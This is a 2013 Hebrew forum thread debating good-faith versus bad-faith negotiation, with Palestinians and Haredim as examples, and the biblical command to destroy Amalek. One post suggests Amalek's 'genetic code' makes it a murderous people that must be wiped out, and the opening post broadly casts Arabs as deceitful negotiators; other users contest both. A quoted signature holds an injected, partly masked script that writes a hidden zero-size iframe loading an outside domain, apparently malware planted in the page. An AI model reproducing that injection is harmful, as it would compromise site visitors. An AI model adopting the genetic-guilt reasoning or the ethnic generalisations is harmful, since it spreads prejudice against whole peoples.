| נשלח ב-27/4/2013 22:11 |
 |
| |
שיח מערבי ושיח מזרחי
מאורעות התקופה האחרונה מציבים שני סוגים של שיח ציבורי.
האחר המשקף לכאורה את הערכים של העולם המערבי, כאשר כל צד במשא ומתן מגיע עם תום לב, מבין שיש צד אחר ומוכן להתפשר באמת.
לעומתו יש שיח מזרחי, המשקף את הגישה של הכל שייך לי/צריך לעשות בדיוק איך שאני רוצה. המקסימום הוא שאם אני חלש, בינתיים אשקר ואקבל מה שאוכל, אולם אמשיך לטעון שהכל שלי ובהזדמנות שאוכל אפר את ההסכם.
גישה זו משקפת את הגישה הערבית/פלסטינאית במו"מ עם ישראל בו הם דורשים ויתורים עד שזה מגיע אליהם. ממשיכים עם הסתה למרות "תהליך" השלום, לא מוכנים "להכיר" במדינה יהודית וכד'.
גישה זו משקפת גם את הגישה החרדית של צעקות שלוקחים להם ופוגעים בהם, אולם אם מישהו ירצה לקבל מהחרדים תוכנית כיצד הם היו יוצרים מצב בו ילדים חרדים יזכו להשכלה תורנית, השכלה מדעית ואקדמית ושירות בצבא, תמיד תסובב בכחש. אתן דוגמה, אילו היו באם ואומרים שעד גיל 18 ילמדו כולם רק לימודי קודש ובגיל זה מי שאינם הטובים ביותר (נניח 80%) יעברו למסלול "תורני-חרדי" שיאפשר להם לשרת בצבא ולרכוש השכלה אקדמית וכד', כך שבגיל 26 הם יהיו באותה רמה כמו אחרים וכד', היה ניתן להבין אולם ההרגשה, גם כאן היא של ניסיון להלך בכחש וכזב בלבד, תוך חוסר רצון למצוא פתרונות מקובלים.
אני רוצה למקד. עיקרו של השיח אינו אילו פתרונות יש להציע, כי הצעות מפה אינם נחשבות ויש גם מספיק אתרים אחרים וכותבים מוכשרים אחרים שידעו לשלוף פתרונות. השיח הוא האם יש שני סוגים של התנהלות במשא ומתן. גישת תום הלב וגישת כולה שלי ומה הם מאפייניהם. כמו כן האם בכלל בשיח כזה יש מקום למשא ומתן או שיש לנהוג בחד צדדים (בבחינת אין עם מי לדבר).
 |
|
|
|
|
| נשלח ב-3/5/2013 11:21 |
|
| |
חזק
טענתי אך ורק נגד הסיבה-לא עשינו להם כלום!
אני בהחלט חושב שלתורה היתה סיבה אחרת.
הסיבה המוסרית- במחילה אינה במקומה- הרי ה' לא ציווה על עם ישראל, להשמיד כל עם מרצחים, במקום כל שהוא בעולם.
אנחנו אמורים להיות אור לגוים- אבל לא בכח החרב . לא לכך נוצרנו.
|
|
|
|
| נשלח ב-3/5/2013 11:00 |
|
| |
הנימוק הוא טיעון מוסרי? מה מוסרי בקביעה הכוללת שעם מסוים מבחינה גנטית הוא עם של רוצחים?
לפי אותו הגיון עקום גם הנימוק של הנאצים לרצח היהודים היה נימוק מוסרי-שהעם היהודי הוא גזע נחות ועצם נוכחותו בעולם יקלקל את הגזע הארי הנעלה ולכן צריך להשמידו כליל.
|
|
|
|
| נשלח ב-3/5/2013 09:43 |
|
| |
ירוחם,
אם נקבל את שיטת הרמב"ם, מחיית עמלק היא רק כאשר הוא ממשיך להיות אוייב שלנו.
גם אם לא נקבל, הנביא מציג את טעם למחיית עמלק מפני שמדובר בעם של רוצחים (אולי זה הקוד הגנטי של העם הזה שמביא אותו אל הרציחה ולכן צריך להשמידו כליל). כלומר, גם אם אינך מקבל את ההנחה הזו, הנימוק הוא טיעון מוסרי.
|
|
|
|
| נשלח ב-2/5/2013 20:26 |
|
| |
כרם נבות
והשמדת עמלק גם היא מעשה של נקמה על מלחמתו בנו (לא עשינו להם כלום, כן?)
אני יודע שכך מלמדים. אז בא נחשוב שוב על זה?
עם ישראל יצאה ממצרים כשהמטרה המוצהרת היא ארץ כנען, שאמורה היה להכבש ותושביה להגליה ולהשמדה.
עמלק -ישב בנגב, בקו הראשון במפת המלחמה העתידי של יושבי הארץ.
התכנית של עם ישראל נודע למודעין העמלקי, ובצורה טבעית והגיונית יצאו לזנב ולסכל את תכנית הכיבוש.
זה לא עשינו להם כלום?
יש כנראה תשובה אחרת לציווי התורה, כי התרוץ הזה לא מחזיק מים.
|
|
|
|
|
| נשלח ב-2/5/2013 14:33 |
|
| |
תפסיקו להתייחס לניקים- חכם ועניו כתב באמת דברים חכמים. לטעמי אלו שמדברים על שוויון מוחלט בין כל בני האדם לא עשו דבר למענו של אף אחד, לעומת מי שפועל ב"אהבת ישראל" למען יהודים או מתוך פטריוטיות אמריקנית לאמריקאים וכו', אני רואה את הערבות ההדדית בין קבוצות קטנות כיעילה יותר משום שהיא אפשרית. זה שהרוסים דואגים לרוסים, אין זה אומר שהם מפלים או שונאים כל מי שאינו רוסי, יש להם פשוט ערבות הדדית וכנ"ל בכל העדות.
אגב על ההשוואה בין יהודים עם נבחר לארים גזע עליון, לא במקומה- עם נבחר על ידי ה' לצורך מטרה של קיום ייעוד רוחני לעומת גזע עליון המושווה לחיות החזקות שטורפות את החלשות יותר. הם עצמם השוו את עצמם לחיות החזקות ששולטות, ואכן זה מה שהם היו, חיות עם ידע מדעי. באף תקופה בהיסטוריה לא נצטווה עם ישראל לשלוט בכל העמים, והשמדת עמלק גם היא מעשה של נקמה על מלחמתו בנו (לא עשינו להם כלום, כן?)
|
|
|
|
| נשלח ב-30/4/2013 21:56 |
|
| |
הניק חכםועניו הוא ניק אירוני במובהק מפני שהוא מכיל סתירה פנימית-מי שעניו הרי אינו מצהיר בהתנשאות שהוא חכם.
ולכן להשתמש בניק כזה מתוך מודעות לאירוניה שבו מוכיחה שבעל הניק הוא בפרוש חכם...
|
|
|
|
| נשלח ב-30/4/2013 21:42 |
|
| |
שיבוליהו
למתוח ביקורת, גם דרך חרוז
אינו מדרכו של הפורום
סופג הביקורת מרגיש קצת הרוס
כאילו הטילו עליו חרם
לדעתי שלי, במלוא הזהירות
הניק שנבחר משקף תקוות
וכי אנחנו עמו בתחרות?
נתייחס לתכנים, נימנע ממריבות
ועוד הערה - ממש אישית
האם ניק עם שם מדהים
אינו עדיף, (בלחישה חרישית)
על פני כינוי כמו "מקק חרדי"?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-30/4/2013 21:33 |
|
| |
| מיימוני כתב: |  |
***
שרפ
העלית נושא מעניין, גם סוציולוגית, כיצד מגיב הציבור החרדי (אם ניתן לדבר עליו בלשון יחיד, שהרי זה אוסף יחידים, כמו כל חברה) ואיזה סוג של שיח ניתן לזהות כאן.
אבל יש גם דברים אחרים שהעלית שיש להיזהר בהם מפני פוליטיזציה, ויש לי גם מה לתמוה על דבריך כפי שאבאר.
ראשית, יש לחלק בין שאלות תיאורטיות לבין שאלות שיש בהן פן מעשי. אמנם גם באלו וגם באלו יש כאלו שמוכנים לבדיקה ולדיון אמיתי, בין מתוך מוכנות לאתגר את אמונותיהם שלהם ולהשתנות בתחום מערכת האמונות התיאורטי, ובין על מנת להתפשר כי זו דרך העולם בתחום המעשי...
ולגבי המאבק של הציבור החרדי, דומה בעיני שמה שמניע אותנו (כי גם אני בתוכנו) הוא החשש מפני שינוי שיבוא בשל לחץ חיצוני. החברה שלנו שמרנית מטבעה, אולי יותר מדי, ואם גם יש שינויים שחלים בינינו, ולא רק בכיוון של הקצנה והחמרה, הרי הם נובעים מהתפתחות פנימית. כאשר יגיע אדם שנתפס כמאיים, בצדק יפחדו ממנו. במיוחד כאשר יש מודעות חלקית לכך שהגטו שבנינו לעצמנו אינו אלא בועה. (ויש לבאר את המונחים האלו. גטו מפני שאנו מסתגרים מפני המודרנה המאיימת, בועה מפני שאמונותינו וציפיותינו ואופן תגובתנו אינו הולם את המציאות).
לפיכך, אם הנושא הוא דגמי התמודדות מול דרישות מאיימות שעלולות לנפץ גטו או בועה של חברה שמרנית, זה נושא מעניין מאד. אבל אז יהיה צורך להיזהר מפוליטיזציה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
הרב מימוני, ראשית כפי שציינתי בדברי באופן מפורש, אין כאן דיון פוליטי, אלא דיון תאורטי לחלוטין, הדן בשני סוגים של ציבורים. ציבור אחד, הרואה במו"מ עם מי שסובר אחרת ממנו דרך מכובדת להגיע בהסכמה למקום גבוה יותר, לבין ציבור הרואה במו"מ כדרך "לתכמן" את הצד השני. ניסיתי לזהות זאת בשני סוגים של ציבורים להם יש סכסוך עם מדינת ישראל ובמדינת ישראל. אלו פשוט הדוגמאות שקיימות אצלי. יתכן שמישהו מהמזרח הרחוק או מאמריקה הלטינית היה מביא דוגמאות אחרות.
יתכן ואתה מציג תשובות מסוימות ברמה הסוציולוגית, כאשר אתה טוען "במיוחד כאשר יש מודעות חלקית לכך שהגטו שבנינו לעצמנו אינו אלא בועה. (ויש לבאר את המונחים האלו. גטו מפני שאנו מסתגרים מפני המודרנה המאיימת, בועה מפני שאמונותינו וציפיותינו ואופן תגובתנו אינו הולם את המציאות)."
ז"א שהבחנה אינה בין סוגים של ציבורים אלא בין ציבור שיודע שטענותיו בחלקן הן בעייתיות (אופס... הגענו לסוגיות פוליטיות) ומנסה לדחות את טענות היריב גם בקש?
זו גם תשובה, שיתכן והיא הייתה גם לו הציבור החילוני היה עומד במצב זהה.
אולם זה מביא את השאלה האם זיהוי של הליך התנהגותי כאמור פירושו ש"אין עם מי לדבר"? שהצד השני עסוק בעיקר בלדבר עם הציבור שלו ולא עם היריב/הצד השני האמתי?
נ.ב. בבזאר מזרחי ויכוח הוא סוג של משחק ידוע מראש ואין מדובר בויתורים על מהות. מדובר גם באינטרקציה שבעיקרה היא חד פעמית ויתכן שדווקא המוכר מרגיש שניצח, כי העלה את המחיר מעבר למינימום והתפשרו עמו בחלק מהסכום שהעלה.
|
|
|
|
| נשלח ב-30/4/2013 21:31 |
|
| |
תוקן על ידי xibolaiyu ב- 30/04/2013 22:02:36
|
|
|
|
| נשלח ב-30/4/2013 19:37 |
|
| |
למעמיקי חשוב בלבד
ברצוני לדבר בעיקר על הבעיה השניה, שמטרידה א.כאדם ב.כיהודי (תספר ל(כמעט)כל יהודי שמתו חצי מיליון איש בצונמי והוא יגיד לך "וואלה מענין" ואז הוא ישאל אותך במבט מפוחד תגיד לי כמה יהודים היה שם?" "שש" אתה אומר לו וכולו מזדעזע) ג.וובפרט כמאמין (שור של עכו"מ שנגח ישראל חייב וההפך פטור)
והאמת שהשאלה היא גם כלפי בני משפחה וחברים מדוע לתיחס אליהם יותר יפה מלזרים (אשר גם הרגש האנושי תומך בהרגשה זו שזה הרבה יותר בלתי מסרי לא לעזור לחבירו מאשר לאדם זר וגם התורה מכירה בכך "עניי עירך קודמין"
ואמנם אריסטו (בספרו אתיקה ספר תשיעי על יחסי אנוש ומדינות) דן בשאילה זו, והוא מעמיד את עקרון המוסר על הצורה הנאותה ביותר לקיום העולם, ומתוך הבנה שאין ביכולת האדם להתמסר כל כולו למען כל העולם, צריך שהאנשים יתחלקו קבוצות קבוצות וכל קבוצה תדאג בעיקר לעצמה תוך שימת לב לצרכי הקבוצות שלידה, אך לא באותה רמה.
וברמה האישית כבר ראינו כיצד הצליה השיטה הקפיטליסטית (ימנית) אמריקאית וכיצד קרסה השיטה הסוציאליסטית קומוניסטית(שמאלנית) של רוסיה. אז כנראה שכך זה גם ברמה הקבוצתית של קשר בין קבוצות ולאומים. (ואי"ה אביא ראיות ותוספת הסבר תורנית לנושא).
תוקן על ידי חכםועניו ב- 30/04/2013 19:47:49
תוקן על ידי חכםועניו ב- 30/04/2013 20:01:32
|
|
|
|
|
| נשלח ב-30/4/2013 18:33 |
|
| |
מיימוני קודם כל תודה על פנייתך
לא איש כתבים אנכי, ואיני מומחה בתיאור דברים בצורה ספרותית, אך אנסה ככל שידי יד כהה מגעת.
האדם שתיארת חי בתוך קונפליקט פנימי עמוק שאתה הגדרת אותו כ"דילמה של מי שמתלבט בין הכרה במציאות מפלה לבין רצונו לכבד כל אדם באשר הוא"
אך למעשה הקונפליקט/דילמה הרבה יותר עמוקה וכוללת בתוכה כמה שאלות שונות שניתן להציגן כשתי שאלות מרכזיות
א.מה המקום של הכרה במציאות מפלה-מתוך הכרה בערך עצמי/קבוצתי/קבוצות שונות כנעלים יותר- (כמו הנאצים ולהבדיל היהודים) כשמנגד עומדת ההבנה ש"כולנו שוים בסופו של דבר" ב.מה המקום של הכרה במציאות מפלה מתוך תחושת שייכות לקבוצה (כמו שאדם רוצה שלאחיו יהיה טוב יותר
מאדם אחר גם אם הוא יותר נעלה) בתוך הרגש המוסרי לכבד כל אדם באשר הוא. (המשך יבא)
|
|
|
|
| נשלח ב-30/4/2013 16:09 |
|
| |
חכם ועניו
ברוך הבא לפורום!
כבר חשבתי להמליץ על סגירת האשכול.
אבל אם בידך להציע חלוקות לאנושות, מוצדקות ומנומקות, ללא פוליטיזציה, וגם אולי תתאר את הדילמה של מי שמתלבט בין הכרה במציאות מפלה לבין רצונו לכבד כל אדם באשר הוא, זה יכול להיות מעניין מאד.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-30/4/2013 15:55 |
|
| |
| עמלקניק כתב: | | נכון, ולכן הוא לא מוצא שום סיבה נראית לעין לחלק את האנושות לחלוקות כלשהן. |
|
אבל אם הוא מעמיק קצת יותר ממה ש"נראה לעין" הוא כן מוצא...(פרטים יבואו אם תחפצו)
|
|
|
|
| נשלח ב-30/4/2013 14:48 |
|
| |
כסילו צודק.
|
|
|
|
|
